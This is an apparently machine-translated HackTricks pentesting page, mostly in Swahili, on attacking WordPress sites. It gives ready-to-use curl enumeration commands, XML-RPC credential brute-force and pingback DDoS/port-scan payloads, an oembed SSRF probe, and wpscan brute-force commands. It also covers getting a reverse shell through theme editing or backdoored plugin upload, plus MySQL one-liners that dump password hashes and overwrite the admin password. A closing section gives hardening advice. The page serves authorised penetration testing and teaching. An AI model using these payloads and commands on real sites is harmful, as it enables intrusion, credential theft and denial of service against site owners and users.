Wordpress

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Basic Information

Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Themes files can be found in /wp-content/themes/, hivyo ikiwa unabadilisha baadhi ya php ya mandhari kupata RCE huenda ukatumia njia hiyo. Kwa mfano: Kutumia theme twentytwelve unaweza kupata faili ya 404.php katika: /wp-content/themes/twentytwelve/404.php URL nyingine muhimu inaweza kuwa: /wp-content/themes/default/404.php

Katika wp-config.php unaweza kupata nenosiri la mzizi la database.

Njia za kuingia za kawaida za kuangalia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php

  • license.txt ina taarifa muhimu kama toleo la WordPress lililosakinishwa.

  • wp-activate.php inatumika kwa mchakato wa uanzishaji wa barua pepe wakati wa kuanzisha tovuti mpya ya WordPress.

  • Folda za kuingia (zinaweza kubadilishwa jina ili kuficha):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kuhamasishwa kwa HTTP ikifanya kama njia ya usafirishaji na XML kama njia ya usimbuaji. Aina hii ya mawasiliano imebadilishwa na REST API ya WordPress.

  • Folda ya wp-content ndiyo directory kuu ambapo plugins na mandhari zinahifadhiwa.

  • wp-content/uploads/ Ni directory ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa.

  • wp-includes/ Hii ni directory ambapo faili za msingi zinahifadhiwa, kama vyeti, fonti, faili za JavaScript, na vidude.

  • wp-sitemap.xml Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya ramani ya XML yenye machapisho yote ya umma na aina za machapisho zinazoweza kuulizwa kwa umma na taxonomies.

Post exploitation

  • Faili ya wp-config.php ina taarifa zinazohitajika na WordPress kuungana na database kama jina la database, mwenyeji wa database, jina la mtumiaji na nenosiri, funguo za uthibitishaji na chumvi, na kiambatisho cha jedwali la database. Faili hii ya usanidi pia inaweza kutumika kuanzisha hali ya DEBUG, ambayo inaweza kuwa na manufaa katika kutatua matatizo.

Users Permissions

  • Administrator

  • Editor: Chapisha na simamia machapisho yake na ya wengine

  • Author: Chapisha na simamia machapisho yake mwenyewe

  • Contributor: Andika na simamia machapisho yake lakini hawezi kuyachapisha

  • Subscriber: Angalia machapisho na hariri wasifu wao

Passive Enumeration

Get WordPress version

Angalia ikiwa unaweza kupata faili /license.txt au /readme.html

Ndani ya source code ya ukurasa (mfano kutoka https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Failia za kiungo za CSS

  • Failia za JavaScript

Pata Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pata Mandhari

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Toa toleo kwa ujumla

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Tumia Trickest kujenga na kujiendesha kwa urahisi kazi zinazotolewa na zana za jamii zilizoendelea zaidi duniani. Pata Ufikiaji Leo:

Uainishaji wa Kazi

Plugins na Mandhari

Huenda usiweze kupata Plugins na Mandhari zote zinazowezekana. Ili kugundua zote, utahitaji kufanya Brute Force kwa orodha ya Plugins na Mandhari (tunatumai kwetu kuna zana za kiotomatiki zinazoshikilia orodha hizi).

Watumiaji

ID Brute

Unapata watumiaji halali kutoka kwenye tovuti ya WordPress kwa kufanya Brute Force kwa IDs za watumiaji:

curl -s -I -X GET http://blog.example.com/?author=1

Ikiwa majibu ni 200 au 30X, hiyo inamaanisha kwamba id ni halali. Ikiwa jibu ni 400, basi id ni batili.

wp-json

Unaweza pia kujaribu kupata habari kuhusu watumiaji kwa kuuliza:

curl http://blog.example.com/wp-json/wp/v2/users

Mwingine /wp-json/ kiunganishi ambacho kinaweza kufichua habari kuhusu watumiaji ni:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Taarifa tu kuhusu watumiaji ambao wana kipengele hiki kimewezeshwa zitapatikana.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

Login username enumeration

When login in /wp-login.php the message is different is the indicated username exists or not.

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).

To see if it is active try to access to /xmlrpc.php and send this request:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories au metaWeblog.getUsersBlogs ni baadhi ya mbinu zinazoweza kutumika kujaribu nguvu za nywila. Ikiwa unaweza kupata yoyote kati yao unaweza kutuma kitu kama:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Ujumbe "Jina la mtumiaji au nenosiri si sahihi" ndani ya jibu la msimbo 200 unapaswa kuonekana ikiwa akidi haziko sahihi.

Kwa kutumia akidi sahihi unaweza kupakia faili. Katika jibu, njia itaonekana (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Pia kuna njia ya haraka ya kujaribu nguvu za kuingia kwa kutumia system.multicall kwani unaweza kujaribu akrediti kadhaa kwenye ombi moja:

Kupita 2FA

Njia hii imekusudiwa kwa programu na si kwa wanadamu, na ni ya zamani, kwa hivyo haitegemei 2FA. Hivyo, ikiwa una akrediti halali lakini mlango mkuu umehifadhiwa na 2FA, huenda ukawa na uwezo wa kutumia xmlrpc.php kuingia na akrediti hizo ukipita 2FA. Kumbuka kuwa huwezi kufanya vitendo vyote unavyoweza kufanya kupitia console, lakini huenda bado ukawa na uwezo wa kufikia RCE kama Ippsec anavyoeleza katika https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS au skanning ya port

Ikiwa unaweza kupata njia pingback.ping ndani ya orodha unaweza kufanya Wordpress itume ombi la kiholela kwa mwenyeji/port yoyote. Hii inaweza kutumika kuomba maelfu ya tovuti za Wordpress kuingia kwenye mahali moja (hivyo DDoS inasababishwa katika mahali hapo) au unaweza kuitumia kufanya Wordpress kuchunguza baadhi ya mtandao wa ndani (unaweza kuashiria port yoyote).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ikiwa unapata faultCode yenye thamani kubwa kuliko 0 (17), inamaanisha kwamba bandari iko wazi.

Angalia matumizi ya system.multicall katika sehemu iliyopita ili kujifunza jinsi ya kutumia mbinu hii kusababisha DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hii faili kwa kawaida ipo chini ya mzizi wa tovuti ya Wordpress: /wp-cron.php Wakati faili hii inapo fikiwa, query ya MySQL "nzito" inafanywa, hivyo inaweza kutumika na washambuliaji ku leta DoS. Pia, kwa kawaida, wp-cron.php inaitwa kwenye kila upakiaji wa ukurasa (wakati wowote mteja anapohitaji ukurasa wowote wa Wordpress), ambayo kwenye tovuti zenye trafiki kubwa inaweza kusababisha matatizo (DoS).

Inapendekezwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya mwenyeji inayofanya vitendo vinavyohitajika kwa muda wa kawaida (bila kusababisha matatizo).

/wp-json/oembed/1.0/proxy - SSRF

Jaribu kufikia https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net na tovuti ya Worpress inaweza kufanya ombi kwako.

Hii ndiyo jibu wakati haifanyi kazi:

SSRF

Hii zana inakagua ikiwa methodName: pingback.ping na kwa njia /wp-json/oembed/1.0/proxy na ikiwa ipo, inajaribu kuzi exploit.

Vifaa vya Moja kwa Moja

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Tumia Trickest kujenga na kujiendesha kwa urahisi kazi zinazotolewa na zana za jamii za kisasa zaidi duniani. Pata Ufikiaji Leo:

Pata ufikiaji kwa kubadilisha kidogo

Zaidi ya shambulio halisi, hii ni udadisi. Kwenye CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man unaweza kubadilisha bit 1 kutoka kwa faili yoyote ya wordpress. Hivyo unaweza kubadilisha nafasi 5389 ya faili /var/www/html/wp-includes/user.php ili NOP operesheni ya NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kubadilisha php kutoka kwa mandhari inayotumika (nywila za admin zinahitajika)

Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kushoto)

Badilisha maudhui kuwa php shell:

Tafuta mtandaoni jinsi ya kufikia ukurasa huo ulio sasishwa. Katika kesi hii unapaswa kufikia hapa: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Unaweza kutumia:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Inaweza kuwa inawezekana kupakia faili za .php kama plugin. Unda backdoor yako ya php kwa kutumia mfano:

Kisha ongeza plugin mpya:

Pakia plugin na bonyeza Install Now:

Bonyeza Procced:

Labda hii haitafanya chochote kwa wazi, lakini ukitembelea Media, utaona shell yako imepakuliwa:

Fikia na utaona URL ya kutekeleza reverse shell:

Uploading and activating malicious plugin

Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na inaweza kutumika kupata web shell. Mchakato huu unafanywa kupitia dashibodi ya WordPress kama ifuatavyo:

  1. Plugin Acquisition: Plugin inapatikana kutoka chanzo kama Exploit DB kama hapa.

  2. Plugin Installation:

  • Tembelea dashibodi ya WordPress, kisha nenda kwa Dashboard > Plugins > Upload Plugin.

  • Pakia faili ya zip ya plugin iliyopakuliwa.

  1. Plugin Activation: Mara plugin inapofanikiwa kufungwa, inapaswa kuanzishwa kupitia dashibodi.

  2. Exploitation:

  • Ikiwa plugin "reflex-gallery" imewekwa na kuanzishwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.

  • Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, na kutoa ufikiaji usioidhinishwa kwa tovuti.

  • Inabainishwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.

Maudhui yanajumuisha msaada wa kuona unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uanzishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi.

Kwa hatua za kina zaidi angalia: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike ni script iliyoundwa kuongeza Cross-Site Scripting (XSS) udhaifu hadi Remote Code Execution (RCE) au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia hiki chapisho. Inatoa msaada kwa Versions za Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:

  • Privilege Escalation: Inaunda mtumiaji katika WordPress.

  • (RCE) Custom Plugin (backdoor) Upload: Pakia plugin yako ya kawaida (backdoor) kwenye WordPress.

  • (RCE) Built-In Plugin Edit: Hariri Plugins za Built-In katika WordPress.

  • (RCE) Built-In Theme Edit: Hariri Mifumo ya Built-In katika WordPress.

  • (Custom) Custom Exploits: Custom Exploits kwa Plugins/Mifumo ya Tatu za WordPress.

Post Exploitation

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Badilisha nenosiri la admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Kujua jinsi plugin ya Wordpress inavyoweza kufichua kazi ni muhimu ili kupata udhaifu katika kazi zake. Unaweza kupata jinsi plugin inaweza kufichua kazi katika alama zifuatazo na baadhi ya mifano ya plugins zenye udhaifu katika hiki kipande cha blog.

  • wp_ajax

Moja ya njia ambazo plugin inaweza kufichua kazi kwa watumiaji ni kupitia waandishi wa AJAX. Hizi zinaweza kuwa na mantiki, udhibiti, au makosa ya uthibitishaji. Aidha, ni kawaida kwamba kazi hizi zitategemea uthibitishaji na ruhusa katika uwepo wa nonce ya wordpress ambayo mtumiaji yeyote aliyeidhinishwa katika mfano wa Wordpress anaweza kuwa nayo (bila kujali nafasi yake).

Hizi ndizo kazi ambazo zinaweza kutumika kufichua kazi katika plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Matumizi ya nopriv yanaufanya mwisho uweze kupatikana na watumiaji wowote (hata wale wasio na uthibitisho).

Zaidi ya hayo, ikiwa kazi inachunguza tu uthibitisho wa mtumiaji kwa kutumia kazi wp_verify_nonce, kazi hii inachunguza tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.

  • REST API

Pia inawezekana kufichua kazi kutoka wordpress kwa kujiandikisha rest AP kwa kutumia kazi register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback ni callback kwa kazi inayokagua kama mtumiaji aliyepewa ruhusa kuita njia ya API.

Ikiwa kazi ya ndani __return_true inatumika, itakosa tu kukagua ruhusa za mtumiaji.

  • Upatikanaji wa moja kwa moja wa faili ya php

Kwa kweli, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kwa moja kutoka mtandao. Hivyo, ikiwa plugin inatoa kazi yoyote dhaifu inayoweza kuanzishwa kwa kuingia tu kwenye faili, itakuwa rahisi kutumiwa na mtumiaji yeyote.

Ulinzi wa WordPress

Sasisho za Kawaida

Hakikisha WordPress, plugins, na mandhari ziko katika hali ya kisasa. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Pia, sakinisha tu plugins na mandhari za WordPress zinazoweza kuaminika.

Plugins za Usalama

Mapendekezo Mengine

  • Ondoa mtumiaji wa admin wa kawaida

  • Tumia nywila zenye nguvu na 2FA

  • Mara kwa mara kagua ruhusa za watumiaji

  • Punguza majaribio ya kuingia ili kuzuia mashambulizi ya Brute Force

  • Badilisha jina la faili wp-admin.php na ruhusu ufikiaji tu ndani au kutoka anwani fulani za IP.

Tumia Trickest kujenga na kujiendesha kiotomatiki kwa urahisi kwa kutumia zana za jamii zilizoendelea zaidi duniani. Pata Ufikiaji Leo:

Support HackTricks

Last updated